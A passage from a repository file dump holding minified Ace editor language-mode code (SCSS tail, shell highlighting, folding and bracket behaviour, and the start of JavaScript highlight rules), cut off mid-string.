this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/scss\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-sh.js",
    "content": "ace.define(\"ace/mode/sh_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.reservedKeywords=\"!|{|}|case|do|done|elif|else|esac|fi|for|if|in|then|until|while|&|;|export|local|read|typeset|unset|elif|select|set\",o=t.languageConstructs=\"[|]|alias|bg|bind|break|builtin|cd|command|compgen|complete|continue|dirs|disown|echo|enable|eval|exec|exit|fc|fg|getopts|hash|help|history|jobs|kill|let|logout|popd|printf|pushd|pwd|return|set|shift|shopt|source|suspend|test|times|trap|type|ulimit|umask|unalias|wait\",u=function(){var e=this.createKeywordMapper({keyword:s,\"support.function.builtin\":o,\"invalid.deprecated\":\"debugger\"},\"identifier\"),t=\"(?:(?:[1-9]\\\\d*)|(?:0))\",n=\"(?:\\\\.\\\\d+)\",r=\"(?:\\\\d+)\",i=\"(?:(?:\"+r+\"?\"+n+\")|(?:\"+r+\"\\\\.))\",u=\"(?:(?:\"+i+\"|\"+r+\")\"+\")\",a=\"(?:\"+u+\"|\"+i+\")\",f=\"(?:&\"+r+\")\",l=\"[a-zA-Z_][a-zA-Z0-9_]*\",c=\"(?:(?:\\\\$\"+l+\")|(?:\"+l+\"=))\",h=\"(?:\\\\$(?:SHLVL|\\\\$|\\\\!|\\\\?))\",p=\"(?:\"+l+\"\\\\s*\\\\(\\\\))\";this.$rules={start:[{token:\"constant\",regex:/\\\\./},{token:[\"text\",\"comment\"],regex:/(^|\\s)(#.*)$/},{token:\"string\",regex:'\"',push:[{token:\"constant.language.escape\",regex:/\\\\(?:[$abeEfnrtv\\\\'\"]|x[a-fA-F\\d]{1,2}|u[a-fA-F\\d]{4}([a-fA-F\\d]{4})?|c.|\\d{1,3})/},{token:\"constant\",regex:/\\$\\w+/},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{regex:\"<<<\",token:\"keyword.operator\"},{stateName:\"heredoc\",regex:\"(<<-?)(\\\\s*)(['\\\"`]?)([\\\\w\\\\-]+)(['\\\"`]?)\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[4]),[{type:\"constant\",value:i[1]},{type:\"text\",value:i[2]},{type:\"string\",value:i[3]},{type:\"support.class\",value:i[4]},{type:\"string\",value:i[5]}]},rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^\t+\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"variable.language\",regex:h},{token:\"variable\",regex:c},{token:\"support.function\",regex:p},{token:\"support.function\",regex:f},{token:\"string\",start:\"'\",end:\"'\"},{token:\"constant.numeric\",regex:a},{token:\"constant.numeric\",regex:t+\"\\\\b\"},{token:e,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|~|<|>|<=|=>|=|!=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"}]},this.normalizeRules()};r.inherits(u,i),t.ShHighlightRules=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/sh\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sh_highlight_rules\",\"ace/range\",\"ace/mode/folding/cstyle\",\"ace/mode/behaviour/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sh_highlight_rules\").ShHighlightRules,o=e(\"../range\").Range,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=function(){this.HighlightRules=s,this.foldingRules=new u,this.$behaviour=new a};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new o(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/sh\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-sjs.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, 